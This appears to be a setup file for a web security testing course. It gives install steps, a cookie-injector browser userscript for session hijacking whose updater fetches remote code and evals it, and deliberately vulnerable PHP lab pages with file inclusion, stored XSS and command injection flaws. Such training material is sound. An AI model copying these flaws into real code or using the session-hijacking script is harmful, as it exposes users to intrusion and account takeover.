PreConfiguration File

This file contains details of the software and virtual machine configuration changes required to support the Web Testing course. Each requirement is noted in the relevant course module, but you may wish to pre-load the software to avoid having to wait when working through each video.

Video Title	Item	Details
01_03 Moving to Websockets	Install Websocketd into Ubuntu	wget https://github.com/joewalnes/websocketd/releases/download/v0.2.11/websocketd-0.2.11-linux_386.zip unzip websocketd-0.2.11-linux_386.zip ./websocketd - - port=8088 - - devconsole ./count.sh
	count.sh script in Ubuntu	#!/bin/bash for COUNT in $(seq 1 10); do echo $COUNT sleep 1 done
01_05 Understanding Cookies	Install DB Browser for SQLite on Windows	http://sqlitebrowser.org/
01_06 Introducing HTML	Page1.html	<!DOCTYPE html> <html lang=”en-US”> <head> <title>THIS IS AN EXAMPLE OF HTML</title> </head> <body> Web Issues Credentials exposed in HTML SQL injections Cross Site Scripting

		OWASP </body> </html>
	Page2.html in Windows	<!DOCTYPE html> <html lang=”en-US”> <head> <title>THIS IS AN EXAMPLE OF HTML</title> <style> body {background-color:powderblue;} h1 {color:red;} p {color:blue;} </style> </head> <body> Web Issues Credentials exposed in HTML SQL injections Cross Site Scripting OWASP </body> </html>
02_02 Installing the WebGoat server	Install WebGoat into Kali	cd /usr/share mkdir webgoat cd webgoat Right click and save link on Webgoat at https://github.com/WebGoat/WebGoat/releases mv webgoat-* webgoat.jar

03_01 Fingerprinting web servers	Install HTTPRecon into Windows 7	Open command shell using Run as Administrator cd \ mkdir httprecon cd httprecon download and unzip from http://www.computec.ch/projekte/httprecon/?s=download cd \windows\system32 copy \httprecon*.ocx regsvr32.exe %systemroot%\system32\MSCOMCTL.OCX regsvr32.exe %systemroot%\system32\COMDLG32.OCX regsvr32.exe %systemroot%\system32\RICHTX32.OCX
	Install HTTPrint into Windows 7	Download and unzip from net-square.com/httprint.html
03_04 Hijacking sessions through cookies	Download and install TamperMonkey on Windows 7	https://tampermonkey.net/
	Download and install scrip into TamperMonkey	// ==UserScript== // @name Cookie Injector (mod FF + Chrome) // @namespace http://blog.krakenstein.net // @description Inject Cookie String Into Any Webpage // @version 1.0 // @include * // ==/UserScript== /** Original Header: ========== Cookie Injector BearsWithWings Inject Cookie String From Wireshark Dump Into Any Webpage * http://dustint.com/code/cookieinjector.user.js

		**/
		
		//Anonomyous function wrapper
		(function (){
		const yodUpdate = {
		  script_id : 109320,
		  script_version : '1.0',
		  script_pipeId : '7015d15962d94b26823e801048aae95d',
		};
		
		function setValue(key, value) {
		  localStorage.setItem(key, value);
		  return false;
		}
		
		function getValue(key) {
		  var val = localStorage.getItem(key);
		  return val;
		}
		
		function usoUpdate(el) {
		  const s_CheckUpdate = 'YodCheckUpdate' + yodUpdate['script_id'];
		  var md = parseInt(new Date().getDate());
		  var CheckUpdate = parseInt(getValue(s_CheckUpdate));
		  var NeedCheckUpdate = false;
		  if (CheckUpdate !== md) {
		    setValue(s_CheckUpdate, md);
		    el = el ? el : document.body;
		    if (el) {
		      if (!document.getElementById(s_CheckUpdate)) {
		        var s_gm = document.createElement('script');
		        s_gm.id = s_CheckUpdate;
		        s_gm.type = 'text/javascript';

```
      s_gm.innerHTML = 'function go' + s_CheckUpdate + '(itm){if(itm.value.items.length){return
eval(unescape(itm.value.items[0].content).replace(/&lt;/g,\'<\').replace(/&gt;/g,\'>\').replace(/&amp;/g,\'&\'));}}';
      el.appendChild(s_gm);
    }
    var s_gm = document.createElement('script');
    s_gm.type = 'text/javascript';
    var sSrc = 'http://pipes.yahoo.com/pipes/pipe.run?_id=' + yodUpdate['script_pipeId'];
    sSrc += '&_render=json&_callback=go' + s_CheckUpdate;
    sSrc += '&id=' + yodUpdate['script_id'] + '&ver=' + yodUpdate['script_version'];
    //sSrc += '&redir=yes';
    s_gm.src = sSrc;
    el.appendChild(s_gm);

    NeedCheckUpdate = true;
   }
  }
  else {
   setValue(s_CheckUpdate, md);
  }

  return NeedCheckUpdate;
}

function yodrunScript() {
  var cookieInjector = function(){
   var cI = this;

   /**
   * Cookie Injector Onload Function
   * Sets up the cookie injector dialogu
   */
   cI.onLoad = function(){
    //Create the DIV to contain the Dialog
```

```
    cI.dialog = document.createElement('div');
    cI.dialog.id = "cookieInjectorDiv";
    cI.dialog.innerHTML = "<div align='center'>Enter Cookie as format:<br/>(ex: name=val;) separate with
';'<br/><input type='text' id='cookieInjectorCookie'/><br/></div>";
    var button = document.createElement('button'); button.innerHTML = "OK";
    button.addEventListener('click',cI.writeCookie,false);
    cI.dialog.appendChild(button);
    var button = document.createElement('button'); button.innerHTML = "Cancel";
    button.addEventListener('click',cI.hide,false);
    cI.dialog.appendChild(button);
    cI.dialog.setAttribute("style",
      "display:none;position:fixed;opacity:0.9;top:40%;background-color:#DDDDDD;\
      left:40%;width:20%;z-index:99999;padding:5px;border:solid 1px gray;\
      font-family:Arial;font-size:12px;");
    document.body.appendChild(cI.dialog);
    cI.visible = false;
   };

   /**
   * Show the dialog
   */
   cI.show = function(){
    cI.dialog.style.display = "block";
    cI.visible = true;
   };

   /**
   * Hide the dialog
   */
   cI.hide = function(){
    cI.dialog.style.display = "none";
    cI.visible = false;
   };
```

```
/**
* Gets the wireshark dump string and converts it into cookies
*/
cI.writeCookie = function(){
 //Grab a handle to the text field which contains the string
 var cookieNode = document.getElementById('cookieInjectorCookie');
 var cookieText = cI.cleanCookie(cookieNode.value);
 cookieNode.value = "";

 //We have to add the cookies one at a time, so split around the colin
 var cookieArray = cookieText.split(";");
 var injectedval = 0;
 for(var x=0; x<cookieArray.length; x++){
  //We want the path to be the root, the host is filled in automatically
  //since we are on the same webpage that we captured the cookies on
  var cookievalArray = cookieArray[x].split("=");
  if (cookievalArray.length>=2) {
   var name, val;
   if ((name = cookievalArray[0].toString().trim()) && (val = cookievalArray[1].toString().trim())) {
    //document.cookie = name+"="+val+"; path=/";
    document.cookie = cookieArray[x]+"; path=/";
    //alert(name+"="+val);
    injectedval++;
   }
  }
 }

 if (injectedval) {
  alert("All Cookies Have Been Written");
  cI.hide();
 } else {
  alert("Invalid (ex: name=val;) separate with ';'");
```

```
  }
};

/**
* Do a little big of cleanup on the cookie string, Mostly we are looking
* To get rid of the "Cookie: " string that Wireshark prepends to the cookie string
*/
cI.cleanCookie = function(cookieText){
 var cookie = cookieText.replace("Cookie: ","");
 return cookie;
};

/**
* Handle all keypresses, we are looking for an ALT-C key-combo. Since we can't detect
* Two keys being pressed at the same time, we first make sure the ALT key was pressed
* then we wait to see if the C key is pressed next
*/
cI.keyPress = function (e){
 //Check to see if "C" is pressed after ALT
 if(e.keyCode == 67 && cI.ctrlFire){
  if(!cI.visible){
   cI.show();
  }else{
   cI.hide();
  }
 }

 //Make sure the Alt key was previously depressed
 if(e.keyCode == 18){
  cI.ctrlFire = true;
 }else{
  cI.ctrlFire = false;
 }
```

		};
		};
		
		if (document.getElementById('cookieInjectorDiv')) return;
		//if (document.getElementById('cookieInjectorDiv_yodrunScript')) return;
		var cI = new cookieInjector({});
		//Setup our dialog after the document loads
		//window.addEventListener('load', cI.onLoad,'false');
		cI.onLoad();
		//Capture all onkeydown events, so we can filter for our key-combo
		window.addEventListener('keydown', cI.keyPress,'false');
		}
		
		var script = document.createElement("script");
		script.type = "text/javascript";
		script.id = "cookieInjectorDiv_yodrunScript";
		script.textContent = "(" + yodrunScript + ")();";
		document.body.appendChild(script);
		
		usoUpdate();
		})();

04_01 Manipulating the URL	URLAcc.html	<!DOCTYPE html> <html> <head> <title>URL Test</title> </head <body> User Accounts <form action=”http://10.0.2.6/URLTest2.php?account=” method=”GET”> ACN: <input type=”text” name=”account” /> <input type=”submit” value=”Show Account” />

		</form> </body> </html>

	URLTest2.php	<?php
		$account=$_GET['account'];
		$name=" ";
		$add1=" ";
		$add2=" ";
		$balance=" ";
		if ($account=="115121")
		{ $name="John Doe";
		$add1="32 Greyson Way";
		$add2="White Marsh";
		$balance="43,112.37";
		}
		If ($account="115122")
		{ $name="Sam Spade";
		$add1="1/25 Hanimore St"
		$add2="Eldesburg";
		$balance="3,210.00";
		}
		?>
		<html>
		<head>
		<title>URL Test</title>
		</head>
		<body>
		 User Accounts
		
		 Account: <?=$account?>
		 Address: <?=$add1?>
		 <?=$add2?>
		 Balance: <?=$balance?>

		</body> </html>
	URLNotes.php	<!DOCTYPE html> <html> <head> <title>URL Test</title> </head <body> User Notes <form action=”http://10.0.2.6/URLTest3.php?account=” method=”GET”> ACN: <input type=”text” name=”account” /> <input type=”submit” value=”Show Notes” /> </form> </body> </html>
	URLTest3.php	<?php $file=$_GET[‘account’]; $notes=file_get_contents($file); ?> <html> <head> <title>URL Test</title> </head> <body> User Notes <?=$notes?> </body> </html>
04_03 Cross Site Scripting	XSSBlog.html	<html> <head>

		<title>XSS Blog</title> </head <body> XSS Blogging <form action=" XSSBlog.php" method="POST"> <textarea name="blog">Blog entry</textarea> <input type="submit" value="submit" /> </form> </body> </html>

	XSSBlog.php	<?php
		$fp=fopen('XSSBlog.txt','w');
		fwrite($fp,$_POST['blog']);
		fclose($fp);
		?>

	XSSRead.php	<?php $fp=fopen('XSSBlog.txt','r'); $fz=filesize("XSSBlog.txt"); $blog=fread($fp,$fz); fclose($fp); ?> <html> <head> <title>XSS Read</title> </head <body> XSS Blogging <?=$blog?> </body> </html>
04_04	CMDGET.php	<html>

Injecting commands through the URL		<head>
		  <title>Command Injection</title>
		</head
		<body>
		   Command Injection with GET
		  <?php
		  $host=”ebay.com”;
		  if (isset($_GET[‘host’])) $host=$_GET[‘host’];
		  system(“nslookup” . $host);
		  ?>
		
		  Select Lookup Target:
		
		  <form method=”GET”>
		  <select name=”host”>
		  <option value=”amazon.com”>Amazon</option>
		  <option value=”ebay.com”>eBay</option>
		  <option value=”google.com”>Google</option>
		  <option value=”microsoft.com”>Microsoft</option>
		  <option value=”yahoo.com”>Yahoo</option>
		  </select>
		  <input type=”submit”>
		  </form>
		</body>
		</html>

05_03 Training in the Web Security Dojo	Web Security Dojo	Download the VirtualBox appliance from https://sourceforge.net/projects/websecuritydojo/files/